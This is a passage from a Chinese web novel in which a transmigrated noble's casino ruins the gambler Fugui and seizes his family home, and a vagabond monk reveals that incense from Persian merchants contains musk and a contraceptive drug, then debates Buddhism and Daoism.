翌日早上,晴雯还在睡着。 昨天林臻硬生生交了两次粮,而且间隔时间很短,要不是有噬心蛊撑着,估计他都要那啥人亡了。 许久没有得到满足的晴雯,终于心满意足地沉沉睡去,以至于日上三竿了还没起床。 本来林臻是需要去上朝的,但眼下肯定已经过了上朝的时间,干脆也就不去了,作为选调生,他对这些东西轻车熟路。 今天没事,小承煜也在母亲怀里睡着,林臻琢磨着去张俪那边看看,准备些物资,走水路给北燕前线送去。 那些士兵他可知道,无酒不欢,北燕的烧刀子根本不能满足他们的胃口。 第516章 富贵又输了 三月的京城飘着柳絮,阳光透过英雄赌场雕花的琉璃瓦,在金丝绒地毯上投下斑驳的光影。 林臻戴着墨玉扳指,身后跟着八个黑衣马仔,刚踏过门槛,便被扑面而来的热浪裹挟。 骰子撞击青瓷碗的脆响、牌九拍打桌面的闷响、叶子牌翻动的沙沙声,混着汗味、臭味和胭脂香,织成一张令人迷醉的大网。? “快看!是世子!"? “把你手收回来,哪有用手指着世子的?” “没点规矩,不想活了?” 窃窃私语声像涟漪般散开。 林臻眯起眼睛,望着赌场内五光十色的景象:东侧牌九桌前,富商们的翡翠扳指在烛火下泛着冷光;西边骰子摊旁,几个纨绔子弟正把金叶子往碗里拍;二楼的雅间垂着湘妃竹帘,隐约传来丝竹声和女子的娇笑。 他轻叩腰间的螭龙纹玉佩,朝着最喧闹的角落走去。? 忽然听到不远处有嘈杂的声音传来。 “王八蛋,你他妈是不是出千!”一声暴喝穿透嘈杂。 富贵少爷涨红着脸,额头上绑着的红绸子歪斜地挂在鼻梁上,貂皮大氅被扯得皱巴巴,手里攥着的骨牌都快捏碎了。 对面的中年男子龙二却气定神闲,慢悠悠地摩挲着翡翠扳指:“这是英雄赌场,世子的场子,没有人敢在这出千。”? “那我怎么可能输?”富贵抓起桌上的骰子狠狠摔下,六颗骰子骨碌碌滚出,全是幺点,“我...我连压了十八把大,怎么可能!”? 龙二得意的哈哈大笑:“哈哈哈哈,难道就许你一直赢啊?富贵少爷,您要是没钱,就请回吧。” 他身后四个铁塔般的打手往前半步,腰间的短刀随着动作轻晃。? “我没钱?谁说我没钱!”富贵脖颈青筋暴起,转头朝人群喊道,“闫苗!快,再借给五十两,今天我跟他赌到底!” 赌徒就是这种心思。 赢了还想赢,输了就想翻盘。 殊不知,这张大网早就已经布下,而富贵不是第一个受害者。? 人群自动分开,露出闫苗那绰约的身影。 她身着大红色织金旗袍,领口开得极低,露出精致的锁骨和一抹雪白。 这是林臻亲自设计,并交给京城最厉害的绣娘打造出来的新款战袍,既显身份,又能让男人们挪不开眼,穿在闫苗身上正合适。 只见她扭着蜂腰,款款走来,娇笑道。 “哎呦,对不起了富贵少爷。”闫苗莲步轻移,翡翠耳坠随着动作轻晃,“您的账该清了。” 说着,她从账房手里拿来泛黄的巨大账本,掀开一页,上面密密麻麻盖着富贵的手印。 “您瞧瞧,房屋地契、桌椅板凳、就连府里的丫鬟仆人,以及你的妻子和两房小妾...”她故意拖长尾音,涂着丹蔻的指尖划过借据,冷笑道,“都在这呢。”? “回头一起给你,你还怕我不给你钱啊?”富贵伸手要抢借据,却被闫苗灵巧地躲开。 她身后两个女招待立刻按住他的手腕,露出一截同样绣着缠枝莲纹的袖口。? “咯咯咯咯,富贵少爷,您拿什么借啊?"闫苗娇笑着后退半步,眼波流转间满是嘲讽,“上次您说拿祖坟抵押,结果发现早就在三个月前输给城西的当铺了。” 她突然冷下脸,朝着二楼包厢扬了扬下巴:“来啊,送富贵少爷回家,顺便按照合同把他家收回来。” “是!”八个黑衣打手齐声应和,声音震得房梁上的水晶吊灯都微微晃动。? 富贵突然瘫坐在椅子上,象征着吉祥的红绸子也彻底滑落到鼻尖。 他望着赌场内金碧辉煌的装饰,目光最后定格在大厅中央的青铜雕像上——那是英雄赌场第一届赌王争霸赛的冠军像,雕的正是一年前意气风发的他。? “这是我吧?”他大喊,突然扑过去抱住雕像的基座,“我把这个压了,借我五十两!就五十两!” 闫苗“噗嗤”笑出声,伸手摘下耳坠轻轻把玩:“这是我们英雄赌场的镇店之宝,可不是你个人的,不能抵押。” 她朝打手们使了个眼色,两个壮汉立刻上前架起富贵。? “放开我!你们赌场太不讲究了!富贵挣扎着,貂皮大氅被扯下,露出里面沾满酒渍的绸缎衬衫。 “我要见张俪!让张俪出来!” “我一年给你们送这么多钱,区区五十两都不借给我!” “张俪!!” 眼看着富贵被拖出去,林臻这心有些后怕。 这一幕简直太似曾相识了,在那本书中,富贵也不是这样的结局吗? 很多时候我们这个世界好像就是个巨大的轮回,不一定什么时候,什么事情,就会重复发生,也许千年以后还会有个叫富贵的人,也在某个赌场,也输给了龙二,从此家徒四壁。 林臻有些感慨,对侯春说道:“跟上去看看。” “是,世子。” 侯春转身出去。 林臻自己转身朝楼梯走去。 不远处还能听到富贵的哭嚎声以及骰子重新滚动的清脆声响。 当他踏上雕花楼梯时,三楼雅间的湘妃竹帘恰好被风吹起,露出张俪半张涂着朱砂的脸。 她身着紫色云锦旗袍,手里把玩着枚狼首玉佩——那是北燕贵族的信物,此刻却出现在京城最大赌场的老板手中。? “夫君!您怎么来了?”张俪的声音带着蜜糖般的甜腻,玉手轻挥,雅间内的歌姬舞女立刻退下。 她起身时,旗袍开衩处露出一截雪白的小腿,绣着金线的鞋尖轻点地面。 “夫君,您去房间里等妾身,这里马上就结束。” “我瞧他怎么想外国人?”林臻目光很不友好的在包厢里几个男人身上打量。 若不是里面还站着很多虎贲营的事情,他都要怀疑张俪是不是被欺负了。 张俪说:“确实是从波斯来的商贾,他们想在北燕留个铺面。” “这种事情还要和你商量吗?” “夫君不知道,妾身已经命令商队接手了很多北燕商铺,因为战乱他们卖的很便宜,总价格不到战前的一成。” “呵呵呵,不愧是你。” 第517章 富贵的家 城南官道扬起阵阵尘土,四匹高头大马载着黑衣壮汉,将瘫软的富贵夹在中间。 早春的风卷着柳絮扑在他脸上,沾在眼角未干的泪痕上,刺得生疼。 望着远处自家三进宅子飞翘的屋檐,富贵忽然想起一年前他在英雄赌场夺得赌王桂冠那晚,也是这样的柳絮天,父亲亲手将祖传的翡翠扳指戴在他手上。? “驾!”领头壮汉猛地甩鞭,马蹄声惊飞了树梢的麻雀。 富贵家在城南,有一座三进的宅子。 这是他家祖传下来的财产。 富贵家祖上是大地主,后来又经商,可惜到富贵他爹这一代没落了,全家都靠积蓄过日子。 偏偏富贵又不学好,把家里能当的东西都当了一遍,后来说戒赌,可谁知道他居然成为了“赌王”。 从此富贵家里人也就不管他赌博的事情了,日子就这么一天天的过。 可是今天,灾难来了。 富贵被壮汉架着撞开朱漆大门,门环的铜狮子磕在肩头,疼得他闷哼一声。 在院内扫地的妻子手一松,扫帚“当啷”一声砸在青砖上,补丁摞补丁的月蓝布衫领口微微敞开着。 她盯着富贵被扯破的貂皮大氅——那是去年他用赌博赚来的钱买的,此刻绒毛沾满尘土,再也显不出半分华贵。 她拦在众人面前,说道:“当家的,你...你这是怎么了?”? “少废话!”领头壮汉扛着富贵进房间,顺手将泛黄的契约拍在掉漆的八仙桌上,震得祖先牌位前的菜油灯左右摇晃,灯油洒在裂了缝的供桌上。 他怒目圆睁,盯着坐在太师椅上的富贵父亲,说道:“王家老爷子,令郎上个月在英雄赌场签了死契,拿这座宅子抵押了三千两。” “什么!?” 老太爷手中的陶碗“咣当”摔在地上,稀粥渗进砖缝。 他拄着磨得发亮的枣木拐杖,颤颤巍巍站起来,怒声道:“放屁!这宅子是我家祖传的,是我的宅子!他凭什么抵押?” 砰—— 壮汉不由分说,一把将富贵扔在地上。 富贵痛苦的嚎叫:“爹!” 他爬过去,扯着老太爷打满补丁的裤脚,声音里带着哭腔:“爹!都是他们设局骗我!龙二那老东西出千,我连压十八把大一把没赢啊!!” “设局?”壮汉冷笑一声,展开契约推到老太爷面前,末尾处富贵的血手印还泛着暗红,“按手印时你儿子嚷着输了甘愿做狗,满场赌客都听见了。"? 老太太吓得浑身直颤,她站起来,说道:“好汉,我儿子怎么也是朝廷封的赌王,能不能给个机会?我们会想办法把钱还上的!这宅子是我们家祖产,不能给你啊!” “老夫人。”壮汉的靴底碾碎了妻子掉落的铜顶针,“契约上写得明明白白,宅子、妻妾、奴仆,一概归赌场。你知道这是多少钱吗?你当真能拿出来?” “我能,你说个数,不行我去借!” “从账面上看,最少也要四两五百两银子,还不算利息。” “啥?这么多!?” 壮汉狞笑着转头,望向缩在廊柱后的玉娘,目光在她鬓间的木簪上停留。 “富贵少爷赌上头,连两位嫂夫人都抵押了,正好,我们英雄赌坊的洗衣房里缺帮手。”? “不!我不去!”小妾玉娘突然尖叫一声,朝房间里跑。 壮汉给了个眼神,身后立刻有小弟冲过去,将她扛起来。 “啊!!放开我!!我不要去那种地方!!呜呜呜呜,爹!娘!救我啊!!” 老太太踉跄着走了两步,噗通一声跪在壮汉面前,补丁摞补丁的围裙沾满尘土:“大爷,求求你了,她才十八,你们放过她吧!要不我去,我给你们种地,我给你们洗衣服!"? “求我?呵呵呵,赌场有赌场的规矩,如果人人靠就不用还债了,我们赌场还怎么开啊?要么签字搬离,要么让你儿子去赌坊门口跪三天,剁手剁脚,挖掉眼睛。这是规矩,规矩不能破。”? 一听说剁手剁脚,富贵吓坏了。 “爹!”他突然爬起来抱住老太爷的腿,指甲掐进对方打满补丁的裤脚,“儿子真的知错了!您千万别把我交给他们啊!!” 老太爷的拐杖重重敲在富贵背上:“混账东西!!连老婆都押!我怎么就生了你这么个儿子!!” “爹..您打我吧,您骂我吧!只要别把我交给他们,你想干什么都行!!” “你...你...”老爷子气得晕头转向。 可还能如何呢?总不能真把儿子打死吧? 他看向壮汉,声音突然低下来:“宅子给你们,能不能留我老两口一间柴房?我们睡柴房..."? “柴房?呵。”壮汉抓起桌上的粗瓷碗把玩,“城外破庙有的是地方住,别墨迹了,抓紧签字画押。收完你的,我们还得去下一家呢。” 老爷子用手沾了印泥,哆哆嗦嗦的怎么也不愿意按下去。 富贵额头撞在青石板上,发出闷响:“爹,儿子错了...龙二说最后一把能翻本,我想着给您换副新拐杖...” “翻本?哈哈哈哈哈!”他妻子突然发出撕心裂肺的笑,抓起地上的粗布绣绷甩向富贵。 “你第一次输光陪嫁的两亩田,说翻本;第二次典了家里的耕牛,说翻本...现在连祖产都输了!我嫁给你,就是为了去赌场给人洗尿布的吗?”? 事到如今,说什么都没用了。 老爷子最终还是按下了手印。 “我签...” “早这么痛快不就好了?”壮汉一把夺过契约塞进怀里,起身道:“日落前搬空,否则我替你们搬!来啊,把两位嫂夫人带走。” “啊!!不要,你放开我!!” “娘!娘!” “爹!!” “嫂夫人,我劝你配合点,英雄赌场也不是什么腌臜之地,到时候我们会找个合适的价格把你卖掉的。” “什么!?”想到自己以后的命运,富贵妻子直接昏死了过去,被人扛走。 壮汉咧着嘴,完全就是一副黑社会的态度,准备出门的瞬间还踢了踢富贵。 “赌王少爷,赌坊新来了批牛骨骰子,等着你开荤呢。别忘了带钱来啊,哈哈哈哈。” 大门“咣当”一声关闭,富贵蜷缩在地上,满脸破败之色。 “爹...”富贵爬过去抓住老太爷的衣角,“对不起...儿子对不起您...” 老太爷突然甩给他一巴掌。 啪—— “滚!从今往后,你就是死在赌坊臭水沟里也别叫我爹!王家没你这号子孙!”? 富贵起身,但他并没有离开,而是转身去搬东西。 英雄赌场的人怎么办事,他一清二楚,说日落之前就是日落之前,不会早,更不会晚。 如果晚上还没搬走,他们就会强来了。 从这一点上讲,英雄赌场大抵还是守规矩的。 大门口,富贵望了眼自家屋檐,那里曾挂着他赢来的“赌王至尊”锦旗,如今只剩几根光秃秃的椽子。 他摸了摸胸口,赌王玉佩早已不知去向,就像他失去的所有东西——尊严、家庭、未来,都随着骰子的滚动,永远停在了错误的点数上。? 巷尾传来老黄狗的呜咽,富贵闭上眼,眼前浮现出母亲在土地庙跪求的身影,还有妻子成亲时穿着打补丁的红袄的模样。 可这些画面,都被赌场的金丝绒地毯吞噬了,就像他的人生,从踏进英雄赌场的那一天起,就再也回不了头了。 “当家的!” “富贵!!富贵!!” 好像是妻子的声音。 闭着眼睛的富贵以为自己幻听了,他哭嚎一声,软软的跪了下去。 “啊!!!呜呜呜呜......” “富贵,别哭了!” “啊?” 不是幻听! 真是妻子! 富贵抬起那满是泪水的脸,看着妻子和玉娘站在自己面前。 “你们...你们怎么...” 妻子擦了擦眼角的泪花,说:“那壮汉说,世子有令,房屋地契拿走,人不要...” “真的!!?你们在哪看到世子的?”富贵有些难以置信。 妻子回答:“不是世子,是世子的跟班,一个叫侯将军跟那壮汉说的。” “天呐,谢天谢地,谢天谢地啊!!”富贵把妻子和小妾都抱在怀里。 这次,他留下的是感恩的泪水。 妻子狠狠在他腰间掐了一下:“你这个混账!你要是再敢去赌,我可就真没活路了!” “呜呜呜呜。”年纪小的玉娘也跟着哭。 富贵哈哈大笑:“哈哈哈,不赌了,再也不赌了,我们找个地方安家,好好过日子去!” “走吧,先收拾东西,带着爹娘一起。”妻子转身,迈向昔日的家门,嘴里还碎碎念着:“嫁给你真是倒了八辈子的霉。” 第518章 麝香? 英雄赌场三楼的檀香在鎏金香炉里静静燃烧,烟气顺着雕花窗棂飘向夜空,混着楼下赌客的喧哗,织成一片暧昧的雾。 林臻斜倚在酸枝木罗汉床上,墨玉扳指有一下没一下叩着嵌螺钿的小几,目光落在对面软榻上的张俪身上。 她穿一件紫色云锦旗袍,开衩处露出的雪腿在烛光下泛着暖光,鞋尖正勾着香炉垂落的流苏晃荡。? 林臻最喜欢这样欣赏一位美人了,不带任何邪念,没有奇奇怪怪的想法,就像欣赏一朵盛开的花那样纯粹。 张俪知道他在看着自己,心里甜蜜的同时,说道:“夫君,这香是波斯商队新带来的,叫什么什么‘夜宴’,烧起来倒是香得勾人,但妾身总觉得腻歪,夫君闻起来如何?” 她指尖划过旗袍领口的珍珠链,链坠在锁骨处投下细碎光斑,白得恍人。眼尾轻挑,涂着丹蔻的手指无意识摩挲着腕间的翡翠镯。 林臻越看越觉得她锁骨精致,像是能养鱼,可偏偏她又不是骨感美人。 “嗐,这钱赚得多了,连熏香都带着一股铜臭味。” 见张俪要生气,林臻笑道:“开玩笑的嘛,你知道我从来不熏香的,但是这个味道我好像在哪闻过,一时又想不起来了。你刚刚说是波斯商人送的?” “对啊,也是合作过几次都老客户,每次来京城都会带些新鲜的小玩意送过来。” 林臻自从拜火教事件之后就对波斯人没有什么好感,张俪提起时,他蹙起眉头,说道:“还是小心些,波斯人不是什么好东西。” “夫君放心,他们每次带过来的东西都是有人检验过的,不会有什么危险。” 林臻鼻子很灵,他闻了闻这个夜宴香,最后用手扇了扇:“赶紧熄灭,以后不要再点了。” 张俪听话的熄灭香炉。 林臻端起青瓷茶盏,茶汤里映着张俪那美颜动人的侧颜,说道:“其实比起香料,我更好奇你怎么让富贵输得连裤衩都不剩的。”? 张俪忽然坐直身子,旗袍开衩又往上滑了寸许:“夫君这是哪的话?富贵不是赌王吗?他也会输? 说完她从果盘里捏起一粒葡萄,汁水顺着唇角滑落。 林臻见她不像说谎的样子,追问道:“你不知道?就在刚刚,富贵已经输掉所有家产,被你们这收债的人带回家了。” “这妾身还真不知道,赌场的一应事情都交给闫菲闫苗去打理了,妾身只把握大的方向。” 说完张俪喊来丫鬟,命她把闫菲闫苗带过来。 林臻好奇整件事情的来龙去脉,所以也就没管。 很快,闫苗上楼,敲了敲门。 “咚咚咚。” “进。” “老板!”闫苗先是对张俪行礼,随即看到林臻,便笑靥如花地说:“世子!!” 这声世子喊得带着几分惊喜与开心。 张俪轻咳两声,问道:“咳咳。我问你,富贵那边是怎么回事?” “回老板的话,妹妹也不过是按规矩办事。那富贵连压十八把大,任谁都劝不住,总不能看着他把赌场搬空吧?"? 话音未落,包厢门传来三声轻叩。 张俪再次说道:“进。” 侯春推门而入,垂手立在门边:“世子。” 林臻抬手示意,侯春上前,在他耳边低语了几句话。 随即林臻挥了挥手,侯春恭敬退下。 林臻目光看向闫苗,只见这妮子穿着大红色的旗袍,很是惊艳。 “苗苗,听说你收下了富贵的宅子?”? 闫苗回答道:“是,世子消息灵通,不过他家就是间破宅子,也就地基倒还结实,妾身准备收回来推平重新建,当个仓库用。” 说完闫苗看了看张俪的脸色,见她没有生气,便怯生生地凑到林臻身边,脂粉香混着檀香扑面而来。 “世子是不是有别的什么想法?妾身都听您的。” 林臻放下茶盏,摸了摸她乖巧的小脑袋。 闫苗像只粘人的小猫,露出一丝欣喜。 “想法倒是没有,我就是想问问你怎么让龙二设的局?十八把连大,换作旁人早该疑心了。” 闫苗下意识地又回头看了看张俪的脸色,见她翘起二郎腿,雪缎袜底蹭过脚踏,悠然自得地饮茶,便回答道:“哪有什么局,不过是让二楼的琴娘配合着拨了几声弦,那富贵自己红了眼,怪不得旁人。再说了,他每次押注都要摸三把袖中玉佩,当别人看不见似的。” 林臻望着她胸前晃动的珍珠链,旗袍最上方的扣子不知道什么时候松开一个,露出饱满的雪脯:“你倒是细心,连人家的习惯都摸得透。不过我看你这旗袍开得这么高,就不怕走光啊?”? 闫苗耳尖泛红,声若蚊蚋地说:“这是妾身刚刚偷偷解开的,只给世子一个人看。” “咳咳。”张俪轻咳一声,不咸不淡地往这边瞟了一眼。 闫苗连忙坐正身体,不敢再说。 林臻笑道:“侯春自作主张,让收债员把富贵的老婆放了,不会坏了赌场规矩吧?” 闫苗奸诈一笑:“嘻嘻嘻,就算侯将军不说,我们也不要她的老婆。” “为什么?富贵不是把房产和老婆都抵押了吗?” “世子有所不知,英雄赌场是京城里劳工待遇最好的产业,就算是后院洗衣做饭的女工,都有无数妇女打破头想挤进来干活呢,我们怎么会要他的老婆?这么做也只是让他下注有所顾忌,谁知道这个人渣赌红了眼,什么都不管了。” “也对,我们赌场的姑娘,哪个不是千挑万选的。”? 张俪忽然冷笑接茬,道:“千挑万选?呵,上个月收的那个翠喜,手比男人还粗呢,端茶倒水摔了我三个青瓷盏。也就侯春会做顺水人情,换作龙二,早把人发卖去关外了。”? “龙二是你们专门培养的吧?” “那当然,否则这赌场早就黄摊子了,哪有今天的繁华。”张俪还很得意。 赌场是张俪最擅长的产业。 专业的事交给专业的人去做,林臻从来不插手。 目前来看,自己当初的选择是很正确的。 他忽然起身,掐了掐闫苗的小脸蛋:“时候不早了,我该回去了。”? 张俪忽然拉住他的袖口,翡翠镯撞在他腕骨上:“急什么?” 她眼尾泛着水光,说:“妾身这来了批新胭脂,我让人调了个“赤霞红”,正想让夫君瞧瞧呢~”? 奇怪。 以前张俪可不是这个样子的,基本从不会主动留林臻在这。 今天这是怎么了? 难不成是见家里几位妻妾有了身孕,着急? 林臻望着她指尖的丹蔻,忽然心软:“也好。” 说完他重新躺下。 闫苗见自己没机会,便很知趣地退了下去。 张俪眉眼弯弯,从妆匣里取出胭脂盒:“世子可知,这胭脂要配着波斯的玫瑰露用。” 她用棉签蘸取胭脂,轻轻点在他唇上。 “当年萧贵妃就是用这法子,把先帝迷得团团转呢。"? 林臻望着她近在咫尺的脸,忽然轻笑:“你现在怎么像个老鸨似的,调脂弄粉。”? “老鸨?”张俪忽然冲过去,扑进她怀里,张开檀口咬了咬他耳垂,“那也要看是哪个浪子值得妾身费心思。” 说完,她的红唇直接印在林臻的嘴上。 亲吻片刻,她抬起头,望着他唇上的胭脂印:“瞧瞧,这颜色衬得夫君更俊了。”? 女人的兴致说来就来,此刻的张俪十分动情。 楼下忽然传来骰子落地的脆响,伴随着赌客的笑骂。 林臻摸了摸唇上的胭脂,搂住她的纤腰,说:“今天我们好好来一次。” “嘻嘻嘻~” 两人紧紧相拥,正要进行下一步的时候,门被敲响。 张俪极其不耐烦地说:“干什么?” “老板,棋牌佛来了,说要见世子。” “这个老秃驴!偏偏......” 林臻伸手堵住她的红唇,说:“没事,今晚我们在这住,坐起来吧。” 没办法,张俪只好起身重新坐回椅子上,捋了捋有些散乱的鬓发,说道:“进来吧。” 吱呀—— 门打开,棋牌佛一身臭汗味走了进来。 “无量天尊!!女施主,我们又见面了。” 张俪纳闷地道:“你不是和尚吗?怎么说上道士的口头禅了?” “呵呵呵,女施主有所不知,这世间道法殊途同归,贫僧念无量天尊和念阿弥陀佛,都是对神灵的尊敬,不分你我。” “少他妈在这说那些歪理,过来坐,问你个事儿。” 林臻没好气地起来,也坐到椅子边上。 张俪知道棋牌佛是林臻的客人,于是亲手倒茶。 棋牌佛扇了扇那破破的柳条扇子,浑身汗臭味更加浓郁。 张俪情不自禁地摸了摸鼻子,有些反感,又不好发作。 这时,棋牌佛突然扬起头闻了闻,笑道:“好香啊,女施主用的莫不是来自波斯的夜宴?” “棋牌佛果然见多识广。” “呵呵呵,女施主还真被嫌弃贫僧,若不是今天走进你的闺房,还真不知道有这么个好东西伺候着你呢。” 林臻眼睛一眯:“什么意思?” “世子可知这夜宴香里的主要原材料是什么?” 原材料... 这三个字。 奶奶的,他要不是穿越者,我林臻就从三楼跳下去。 “你说呢?” “麝香。” “什么!!”张俪还没反应,林臻却已经炸毛了。 麝香! 这他妈不是宫斗剧里经常出现的道具吗?居然如果有身孕的女人天天闻麝香,就会影响胎儿,严重的还会导致流产。 棋牌佛见林臻这么激动,便知道他晓得麝香,笑道。 “呵呵呵,世子别这么激动,这夜宴里,除了麝香外还有一道秘药,这种药是古巫族配置,专门用来防止女子受孕所用的。所以,女施主和世子欢好这么久,才迟迟怀不上孩子。” 砰—— 张俪粉拳砸在桌子上,怒目圆睁地说:“这群波斯贼子竟敢坑我!” 说完,她站起来,对林臻说道:“夫君,妾身要去办几件事,您稍作,妾身去去就回。” “嗯,带上人,注意安全。” “夫君放心,这帮人敢坑我,我会让他们付出代价的!以后大乾任何商贾,都不可能在跟波斯人做生意!” 说完,张俪气鼓鼓地离开。 本来之前就因为拜火教的事情,大家对波斯人的印象就非常不好,张俪也是看在波斯那边的商品有利可图,所以才勉强与他们合作。 后来波斯人很会孝敬,让张俪天真地以为他们国家不可能都是那种坏人,所以才正式交朋友。可谁知道这帮人还是这般狼子野心,居然不想让张俪怀孕! 这样做的目的是什么?还不是为了通过张俪坑林臻,让林家绝后? 林臻叹了口气,他望着张俪气鼓鼓离开的背影,幽幽地说道:“以俪儿的性子,这群波斯人怕是一个也活不了,你这老秃驴,你知不知道因为你这一句话,得死多少波斯人?” 棋牌佛撇了撇嘴:“世子,咱都是聪明人,你跟贫僧还装什么?你会心疼那些波斯人?呵,你不哈哈大笑就算是敬畏生命了。” “哈哈哈哈哈哈!”林臻开怀大笑,“老东西,要说这世界上最了解我的人,绝对就是你了!说,我儿子眼睛为什么是红色的?会不会给他造成什么影响?” 人生难得一知己,虽然到目前为止林臻还并不能确定棋牌佛是敌是友。 但不管是敌是友,林臻都以他能出现在自己身边而高兴。 至少他穿越者的身份,不会让林臻自己觉得,自己是个特例。 棋牌佛抽了口烟:“嘶..呼...其实你想的没什么问题,就是噬心蛊的影响。” “但是雯儿怀孕的时候,我还没中噬心蛊呢啊。” “哦?你的意思是说,夫人怀孕的时候你们没有行房事?” “这...”林臻老脸一红。 那时候晴雯的胎儿刚刚稳定,这妮子又非得想要,结果当天确实发生了一次。 “切,看你的表情,贫僧就知道你准没干好事儿,不信等青霞夫人的孩子出来,你看看和晴雯夫人的孩子有没有区别?实话说吧,噬心蛊与你是一种共生系统,你舒服的时候它也舒服,你排泄的时候它也排泄,所以说,噬心蛊的幼虫已经钻进了你儿子的身体里,再次形成了共生关系,明白了吗?” 第519章 佛与道 英雄赌场三楼张俪的闺房内,鎏金香炉飘着袅袅青烟。 棋牌佛还是那身身济公打扮,破旧袈裟补丁摞补丁,帽子歪戴在头上,帽穗上还沾着可疑的酒渍,手里摇着一把破扇——扇面上“济世活佛”四个金漆大字已斑驳,倒像是被酒水泡发过的。 “世子,您也不用太惆怅,看这个。”说完棋牌佛从怀里掏出个褐色的球,那球表面坑坑洼洼,凑近了能看见细密的纹路,泛着某种诡异的光泽。? “这是宁神丹,每当您心神不宁的时候就扔进香炉里烧一个。”棋牌佛将褐色球扔进香炉,火苗轰地窜起,瞬间腾起淡蓝色烟雾。 紧接着便有袅袅沉香的味道传来。 林臻不疑有他,吸上一口,只觉有一股很强的力道直冲脑门,随即很快便安定了下来。 就像事后的贤者时间那样。 “今后不管您和哪位夫人生孩子,结果都必定会被这噬心蛊影响。不过您放心,据贫僧所知,这噬心蛊不会有坏处,甚至能让您的身体更加强健,也有可能......长生不死哦。”棋牌佛说话故意拖长尾音,破扇在面前晃出哗啦啦的响声。? 林臻靠在软榻上,闻言冷笑一声:“哪有什么长生不死,你这老秃驴又胡说八道,拿我当以前那些傻皇帝呢?还长生不死,当年楚国皇帝如何?我大乾的盛隆皇帝又如何?谁不是风华绝代之辈?但谁长生了?”? 棋牌佛却收起了玩笑的神色,认真道:“那可不一定,世界之大无奇不有,我们对世界的了解还是太少了。” 他望向窗外,眼神中带着几分惆怅,仿佛真的对这世间充满了敬畏,“曾经贫僧也不信长生,但是自从经历了许多事情之后,尤其是见过南疆那么多神秘的部族之后,就没什么事情是不相信的了。世子可知?他们掌握着不为人知的秘术,而噬心蛊便是其中之一。”? “听你的意思,你也中了噬心蛊?” “那倒没有,不是谁都有机会中噬心蛊的,贫僧只是想告诉你,要敬畏世界,敬畏神灵,说不定就有什么你不知道的事情发生。” 林臻听罢也叹了口气。 世界神不神奇,他还能不知道?他自己就是穿越者。 但是林臻认为眼前这个其貌不扬的棋牌佛应该也是穿越者,只是不知道他是从什么地方,什么年代穿越过来的。 “世子,有件事情我需要您帮忙。” “等这件事情说完在说你的事情。” “什么事情?噬心蛊的事情已经跟你说清楚了啊,你就自然一点,别当回事就可以了。” 事已至此,林臻知道自己没有任何改变的办法,点点头,没有再说什么。 “只要对孩子没影响就行。话说你最近都忙什么呢?难不成真像俪儿说的,每日喝花酒、抽大烟?动不动还要发泄下心中欲望?你不是和尚么?”? 棋牌佛立刻又恢复了吊儿郎当的模样,咧嘴笑道:“当然是喝花酒、抽大烟了!人活着在这世界上就是来享福的,不是么?”? 林臻挑眉:“你们佛家不是讲究苦行么?怎的你这般贪图享乐?” 棋牌佛不屑地摆摆手:“那些和尚胡说八道罢了,贫僧觉得在这一点上道家说的就很好。” 他摇头晃脑,念起了道家的话,“‘天地不仁,以万物为刍狗,天地看待万物都是一样的,不会对谁特别偏爱。所以人活一世,就该及时行乐,顺应本心,何苦为难自己?像贫僧这样,游戏人间,才是真正的自在。”? 林臻靠在雕花软榻上,墨玉扳指轻轻叩着嵌螺钿的小几:"和尚,你说自己是佛门弟子,却满口道家言论,不怕佛祖怪罪?” “佛祖?”棋牌佛突然盘膝坐在地毯上,草鞋尖点着香炉边缘。 “贫僧这袈裟是从破庙香灰堆里捡的,佛祖早把贫僧忘了。倒是道家老子骑青牛过函谷关,留下五千言道德经,倒合贫僧心意。” “但是道家讲究清静无为啊。"林臻挑眉,“哪有像你这样吃喝嫖赌样样占全的?”? “错了错了!”棋牌佛晃着破扇打断他,“老子说‘无为而无不为'',不是让人躺平,是叫人顺应规律。就像这噬心蛊,它要在您血脉里扎根,您拦得住吗?不如学庄周梦蝶,与蛊共舞。"” “可是据我所知,佛家讲因果报应,种什么因得什么果。”林臻端起茶盏,“我之前如此嗜杀,你说我会不会下地狱啊?会不会见到地藏王?会不会见到阎王?来世会不会真的遭报应啊?” 林臻这是开玩笑的,他根本不在乎什么来世。 或者,他就没有来世。 就行唐僧似的。 有人说,唐僧这一生就说过一次慌,在女儿国那一难中。 女儿国国王想留下唐僧,他最后没能接受住这种诱惑,然后对国王说了句:“如果来有生,我就答应你。” 但是他说谎了,因为他知道他会成佛,而佛没有来生。 “来世?”棋牌佛嗤笑一声,从袈裟里摸出个酒葫芦,“贫僧只管今生!当年在南疆见多了巫蛊之术,才明白世间最狠的报应是活受罪——您瞧富贵那小子,输光宅子后连口热饭都吃不上,这不比下十八层地狱还惨?那些被你砍掉四肢做成人彘的拜火教信徒呢?”? 林臻望着烟雾中若隐若现的各种变换:“按你这么说,及时行乐才是正道?” “正是!”棋牌佛灌了口酒,酒水顺着补丁流到地毯上,“道家说‘人生天地之间,若白驹过隙,忽然而已'',不趁着活着享尽繁华,难道等进了棺材再后悔?就像这香炉里的蛊母,烧完就化作青烟,可我们身心却得了滋养,这就叫‘牺牲小我,成全大我'',多有道家风骨!” “歪理!”林臻忍不住笑出声,“佛家讲慈悲为怀,你当初给我出的主意,导致死了那么多波斯人呢。” “慈悲?”棋牌佛突然正色,“北燕狼族南下烧杀抢掠时,慈悲在哪里?河曲郡的百姓易子而食时,慈悲在哪里?” 他指向窗外,“贫僧告诉你除掉拜火教的方法,是为了更多的大乾百姓和普通黎民。这才是大慈大悲!"? 林臻被他呛得一时语塞,转而问道:“那你再说说,道家提倡“齐物论”,难道杀人放火与行善积德并无分别?”? “世子又错了!”棋牌佛拍着大腿站起来,“庄子说‘万物一齐,孰短孰长'',是让人放下分别心,不是混淆是非。就像你神内里的噬心蛊,在恶人身上是催命符,在您身上却是护心镜,关键看用蛊的人有没有善念。” “照你这么说...”林臻忽然想起张俪的赌场,“开赌场赚黑心钱也是善念?”? "赌场怎么就黑心了?"棋牌佛振振有词,"赌客输钱是因为贪心,赌场不过是照见人心的镜子。再说了,张俪夫人每月给城南破庙送三车粮食,还会救助乞丐,你看大乾现在还有乞丐吗?但凡有能耐干点活的,都被雇佣走了。这不比那些整天念阿弥陀佛的善男信女实在多了?” 林臻望着这个疯癫和尚,忽然发现他虽言行怪诞,却总能把歪理说得头头是道。 “你就没想过修心向善,当个正经和尚?”? “正经和尚?”棋牌佛晃着破扇走向窗边,“呵,当年在少林寺,方丈让贫僧每天抄经,可贫僧抄着抄着就睡着了,梦里全是山下的酒肉香。后来才明白,与其装模作样修苦行,不如痛痛快快做自己——这才是道家‘贵生''的真谛。” 